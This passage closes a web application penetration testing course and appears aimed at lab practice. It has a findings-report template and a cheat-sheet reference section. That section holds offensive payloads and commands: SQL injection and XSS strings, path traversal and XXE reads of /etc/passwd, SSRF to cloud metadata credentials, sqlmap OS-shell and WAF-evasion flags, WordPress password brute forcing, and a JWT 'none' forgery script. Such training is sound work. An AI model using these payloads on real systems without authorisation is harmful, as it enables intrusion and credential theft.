Medium	4.0–6.9	CSRF, reflected XSS, IDOR on non-sensitive data, missing security headers
Low	0.1–3.9	Information disclosure, verbose errors, missing cookie flags
Informational	N/A	Best practice recommendations, no direct exploitability

Individual Finding Template

```
## FINDING-001: SQL Injection in SOAP getUserById Endpoint

**Severity:** Critical (CVSS 9.8)
**CVSS Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**Status:** Confirmed — Exploited
**Affected Component:** api.innovatecorp.local — /soap/v1/service
**MITRE ATT&CK:** T1190 (Exploit Public-Facing Application)

### Description
The `getUserById` SOAP operation is vulnerable to UNION-based SQL injection
in the `id` parameter. Successful exploitation allows an unauthenticated
attacker to extract the complete database contents, including user
credentials and payment information.

### Steps to Reproduce
1. Send the following SOAP request:
   [request with payload shown verbatim]
2. Observe the response: [response showing extracted data]

### Evidence
[Screenshot / copied response showing database name / user table dump]

### Impact
An unauthenticated attacker can extract all database records including:
- User email addresses and bcrypt password hashes ([N] accounts)
- [Any other sensitive data confirmed in dump]
This constitutes a critical data breach under applicable regulations.

### Remediation
1. Use parameterized queries / prepared statements for ALL database queries.
   Example (PHP PDO):
   $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
   $stmt->execute([$id]);
2. Apply input validation: reject non-integer values for the id parameter.
3. Run the database service under a low-privilege account.
4. Enable a WAF rule for SQL injection patterns as an additional defence layer.

### References
- OWASP SQL Injection Prevention Cheat Sheet
- CWE-89: Improper Neutralization of Special Elements in SQL Commands
```

Remediation Priority Matrix

After listing all findings, always include a prioritized remediation plan:

```
Priority 1 — Fix within 24 hours (Critical):
  FINDING-001: SQL Injection in SOAP API
  FINDING-003: Unauthenticated Admin Access

Priority 2 — Fix within 1 week (High):
  FINDING-007: Stored XSS in Comment Field
  FINDING-009: Insecure Direct Object Reference on Orders API

Priority 3 — Fix within 1 month (Medium):
  FINDING-012: Missing CSRF Protection on Account Update
  FINDING-015: Session Not Invalidated After Logout

Priority 4 — Next development sprint (Low/Info):
  FINDING-018: Server Version Disclosure
  FINDING-020: Missing Security Headers
```

Report Evidence Standards

```
Every finding MUST have:
✓ The exact HTTP request that demonstrates the vulnerability (copy from Burp)
✓ The exact HTTP response showing the vulnerable/exploited behavior
✓ A screenshot where applicable (especially for XSS, admin access, data exposure)
✓ The reproduction steps written clearly enough that a developer who wasn't there can reproduce it
✓ A severity rating with justification (CVSS score preferred)
✓ Specific remediation guidance (not generic — specific to their stack)

Screenshots must:
✓ Show the browser URL bar or request URL
✓ Show the full response / page output
✓ Have any sensitive customer data redacted before inclusion in report
```

Review Questions

1. What belongs in an executive summary that would NOT be in a technical finding?
2. What is CVSS and what four factors determine a Critical (9.0+) score?
3. Why must every finding include exact HTTP request/response, not just a description?
4. What should a good remediation recommendation include beyond "use input validation"?
5. Why is a prioritized remediation matrix more useful than just a list of findings sorted by severity?

Answers

1. Business risk context, plain-language impact descriptions, an overall risk posture statement, and prioritized action summary — all written for a non-technical audience (executives, legal, compliance) without CVSS scores, HTTP requests, or technical jargon.
2. CVSS scores a vulnerability across: Attack Vector (Network=highest), Attack Complexity (Low=higher), Privileges Required (None=highest), and User Interaction (None=higher). A Critical score requires high

impact on Confidentiality, Integrity, AND Availability simultaneously, typically via network-reachable, no-auth-needed exploitation.

3. Clients need to reproduce the finding to verify it and verify its fix — a description without evidence is unverifiable. Developers specifically need the exact request to understand exactly what input triggers the vulnerability and where in the code to fix it.
4. A good remediation should specify: the exact defensive pattern to implement (parameterized queries, not just "use input validation"), a code example in the target language/framework, any complementary controls (WAF, library), and a verification method (how to confirm the fix is complete).
5. A sorted list tells clients what's worst; a prioritized matrix tells them what to do first given real-world constraints (not every Critical can be fixed simultaneously if they're in different systems). The matrix groups by timeline, makes dependencies explicit, and becomes a project plan the development team can directly execute.

REFERENCE

Reference — Cheat Sheets, Resources, and Final Assessments

1. Master Tool Cheat Sheet

Burp Suite Quick Reference

Task	Method
Intercept a request	`Proxy → Intercept ON, browse target`
Repeat/modify a request	`Send to Repeater (Ctrl+R)`
Brute force / fuzz	`Send to Intruder (Ctrl+I), set payload positions`
High-speed fuzz	`Send to Turbo Intruder (extension)`
Scan a request	`Send to Scanner (Pro) / Active Scan`
Decode/encode data	`Decoder tab (Ctrl+Shift+D)`
Compare responses	`Send to Comparer`
Generate CSRF PoC	`Right-click → Engagement Tools → Generate CSRF PoC`
Scope only	`Target → Scope → Add → enable filter`
Find hidden params	`Param Miner extension → right-click → Guess params`
Test IDOR automatically	`Autorize extension → set low-priv cookie`

Reconnaissance Commands

```
# Subdomain enum
amass enum -passive -d TARGET -o subs.txt
subfinder -d TARGET -o subs.txt -all

# Live host probing
cat subs.txt | httpx -title -status-code -tech-detect

# Content discovery
feroxbuster -u URL -w WORDLIST -x php,html,js,txt,bak -t 50
ffuf -u URL/FUZZ -w WORDLIST -mc 200,301,302,403

# Technology fingerprint
whatweb URL -v
wafw00f URL

# Git exposure
git-dumper URL/.git/ ./leaked_src/

# JS endpoint extraction
curl -s URL/app.js | grep -oE '"\/api\/[a-z0-9/_-]+"' | sort -u
```

Injection Quick Reference

```
# SQLi detection
' " `) )) '-- 1' AND SLEEP(5)--

# SQLi union (MySQL)
' ORDER BY N--
' UNION SELECT NULL,NULL--
' UNION SELECT user(),database()--

# XSS detection
<script>alert(1)</script>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
{{7*7}} ${7*7}   ← SSTI detection

# Path traversal
../../../../etc/passwd
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# SSRF
http://169.254.169.254/latest/meta-data/
http://127.0.0.1:PORT/
http://[::1]/

# XXE
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>
```

CMS Quick Reference

```
# WordPress
wpscan --url URL -e ap,at,au --api-token TOKEN
wpscan --url URL -P passwords.txt -U admin
curl URL/wp-json/wp/v2/users

# Joomla
joomscan -u URL --enumerate-components
curl "URL/api/index.php/v1/config/application?public=true"   # CVE-2023-23752

# Drupal
droopescan scan drupal -u URL -t 32
curl URL/CHANGELOG.txt | head -3

# Magento
php magescan.phar scan:all URL
nuclei -u URL -t cves/ -tags magento
```

SQLMap Quick Reference

```
# GET parameter
sqlmap -u "URL?id=1" --batch --dbs

# POST request
sqlmap -u URL --data="user=a&pass=b" --batch

# From Burp request file
sqlmap -r request.txt --batch --dump-all

# Cookie injection
sqlmap -u URL --cookie="id=1" -p id --batch

# WAF evasion
sqlmap -u URL --tamper=space2comment,between,randomcase --batch

# OS shell
sqlmap -u URL --os-shell

# JSON parameter
sqlmap -u URL --data='{"id":"1"}' -H "Content-Type: application/json" --batch
```

JWT Attack Cheat Sheet

```
# Decode token
echo "JWT" | cut -d. -f2 | base64 -d 2>/dev/null

# jwt_tool attacks
jwt_tool TOKEN -X a             # all attacks
jwt_tool TOKEN -X n             # none algorithm
jwt_tool TOKEN -X k -pk pub.pem  # RS256→HS256 confusion
jwt_tool TOKEN -X s             # secret brute force

# Hashcat crack
hashcat -a 0 -m 16500 TOKEN wordlist.txt

# Manual none attack
python3 -c "
import base64,json
h=base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('=')
p=base64.b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).decode().rstrip('=')
print(f'{h}.{p}.')
"
```

2. OWASP Top 10 Test Matrix

Category	Primary Test	Tools
A01 Broken Access Control	IDOR + priv esc on every ID	Autorize, Burp Repeater
A02 Crypto Failures	HTTP form, cookie flags, weak hash	curl -sI, Burp
A03 Injection	SQLi + command inject on all inputs	sqlmap, commix, manual
A04 Insecure Design	Price manip, workflow skip, race	Burp Intruder, manual
A05 Security Misconfig	Default creds, headers, dir listing	Nikto, Nuclei, curl
A06 Outdated Components	Version vs CVE cross-reference	Nuclei, Retire.js, WPScan
A07 Auth Failures	Username enum, bruteforce, reset	ffuf, Burp Intruder
A08 Data Integrity	Deserialization, SRI, updates	ysoserial, manual
A09 Logging Failures	Trigger attacks, observe no lockout	Manual observation
A10 SSRF	URL params → internal/metadata	Burp Collaborator, manual

3. Learning Roadmap — 30 Days to Web App Pentest Competence

Week 1 — Foundations

- Day 1-2: Module 1 (methodology + lab setup). Get all Docker targets running. Burp Suite configured perfectly.

- Day 3: Module 2 (recon). Run full recon against Juice Shop and DVWA.
- Day 4-5: Module 3 (OWASP Top 10). One vulnerability per day, lab practiced on DVWA.
- Day 6-7: Module 4 (WordPress). Full WPScan + manual exploitation against vuln WP Docker.

Week 2 — CMS + API Surface

- Day 8-9: Module 5 (Joomla/Drupal/Magento). Spin up Drupal, test Drupalgeddon2.
- Day 10-11: Module 6 (API testing). Full Juice Shop API map in Burp. GraphQL introspection.
- Day 12-13: Module 7 (SQLi deep dive). Master all five injection types on DVWA + sqlmap.
- Day 14: Module 8 (XSS). All three XSS types, filter bypass, dalfox.

Week 3 — Deep Vulnerability Classes

- Day 15: Module 9 (File upload + LFI). Every bypass technique practiced on DVWA.
- Day 16: Module 10 (SSRF/XXE/SSTI). Juice Shop SSRF + SSTI challenges.
- Day 17-18: Module 11 (Auth/JWT/OAuth). jwt_tool on Juice Shop JWT tokens.
- Day 19-20: Module 12 (Business logic + IDOR). Full Autorize sweep on Juice Shop.
- Day 21: Module 13-14 (SPA/WS). Route mapping from JS, WebSocket testing.

Week 4 — Integration and Production

- Day 22-24: Full Module 15 capstone. End-to-end assessment with no notes.
- Day 25: Module 16 reporting. Write a complete professional report from your capstone findings.
- Day 26-27: Hack The Box: Photobomb, Sau, Topology, CozyHosting (modern web HTB boxes).
- Day 28-29: TryHackMe: OWASP Juice Shop room, Daily Bugle (WordPress), Basic Pentesting.
- Day 30: Redo the DVWA at security level HIGH for all modules. High-security bypass techniques are the real-world representation of what hardened apps look like.

4. Best Resources

Books

- The Web Application Hacker's Handbook (Stuttard, Pinto) — the bible; still foundational despite age
- Real-World Bug Hunting (Yaworski) — practical bug bounty methodology on real apps
- The Bug Hunter's Methodology (Jason Haddix) — methodology by one of the world's top bug hunters
- OWASP Testing Guide (WSTG) — free, comprehensive, the industry standard reference
- Bug Bounty Bootcamp (Vickie Li) — modern, practical, covers every class in WSTG

YouTube Channels

- LiveOverflow — deep technical web vulnerability explanations with real CTF examples

- NahamSec — live bug bounty hunting and web app testing streams
- STÖK — bug bounty methodology and mindset
- PwnFunction — animated explanations of web vulnerabilities (XSS, SQLi, SSRF, etc.)
- PortSwigger Web Security — official Burp Suite Lab walkthrough videos

Best Practice Platforms

- PortSwigger Web Security Academy (portswigger.net/web-security) — free, best structured web app training in existence; labs for every vulnerability class
- OWASP Juice Shop — modern SPA with all OWASP Top 10 + more
- DVWA — classic PHP vulnerable app, adjustable difficulty
- HackTheBox Web Challenges — real-world-style web app exploitation
- PentesterLab — structured web app labs with certificates

Best Hack The Box Machines (Web Focus)

- Photobomb — RCE via command injection
- Sau — SSRF to internal service exploitation
- CozyHosting — SSTI + command injection chain
- Topology — LFI to credential exposure
- Shoppy — NoSQL injection + Docker breakout
- FormulaX — XSS to SSRF to RCE (advanced chain)
- PC — gRPC exploitation (modern protocol)

Best TryHackMe Rooms

- OWASP Juice Shop — guided walkthrough of all challenges
- Daily Bugle — WordPress → SQLi → Yum privilege escalation
- Pickle Rick — LFI + command injection
- Mr Robot — WordPress → hash cracking
- Advent of Cyber (Web tasks) — beginner-friendly yearly event

5. Final Assessment

Quiz A — Methodology and Recon

1. What is the first action taken in a web app pentest before any tool is run?
2. What does a 403 on a content discovery result mean vs a 404?
3. Why is `robots.txt` useful to a tester?
4. What tool reconstructs full source from an exposed `.map` file?

5. Name two techniques for discovering API endpoints in a React/Angular SPA.

Quiz B — Vulnerability Classes

1. Write the UNION-based SQLi payload to extract the current database name in MySQL.
2. What HTML tag plus event produces XSS without angle brackets in the main payload position?
3. What PHP wrapper reads source code of a PHP file through LFI without executing it?
4. What AWS metadata URL leaks IAM credentials via SSRF?
5. What SSTI payload detects Jinja2 vs Twig without executing OS commands?

Quiz C — Application-Specific

1. What WPScan flag enumerates all plugins aggressively?
2. What CVE affects Joomla 4.x and leaks database credentials unauthenticated?
3. What Drupal CVE family covers the three major RCE vulnerabilities?
4. What GraphQL query dumps the full schema?
5. What Burp extension automates IDOR testing across all requests simultaneously?

Answers

Quiz A: 1. Read and confirm scope/RoE. 2. 403 = resource exists but access denied (worth noting and revisiting with auth); 404 = not found. 3. It explicitly lists paths the developer wanted hidden from web crawlers — exactly what a tester wants to find. 4. sourcemapper. 5. Grep the JS bundle for route definitions; use LinkFinder to extract endpoint strings.

Quiz B: 1. `' UNION SELECT database(),NULL--` 2. `" onmouseover="alert(1)` (attribute injection). 3. `php://filter/convert.base64-encode/resource=file.php`. 4. `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. 5. `{{7*7}}` — both Jinja2 and Twig evaluate it (returns 49); differentiated by further testing with engine-specific syntax.

Quiz C: 1. `--plugins-detection aggressive` with `-e ap`. 2. CVE-2023-23752. 3. Drupalgeddon (CVE-2014-3704, CVE-2018-7600, CVE-2018-7602). 4. `{ __schema { types { name fields { name } } } }`. 5. Autorize.

Capstone Project

Perform a complete web application penetration test against OWASP Juice Shop (solve at minimum 20 challenges, covering all OWASP Top 10 categories) and produce a professional report with at least 8 documented findings, each with a CVSS score, HTTP request/response evidence, and specific remediation guidance. Time yourself — a professional assessment of this scope should be completable in 8-12 hours of focused work by the end of this course.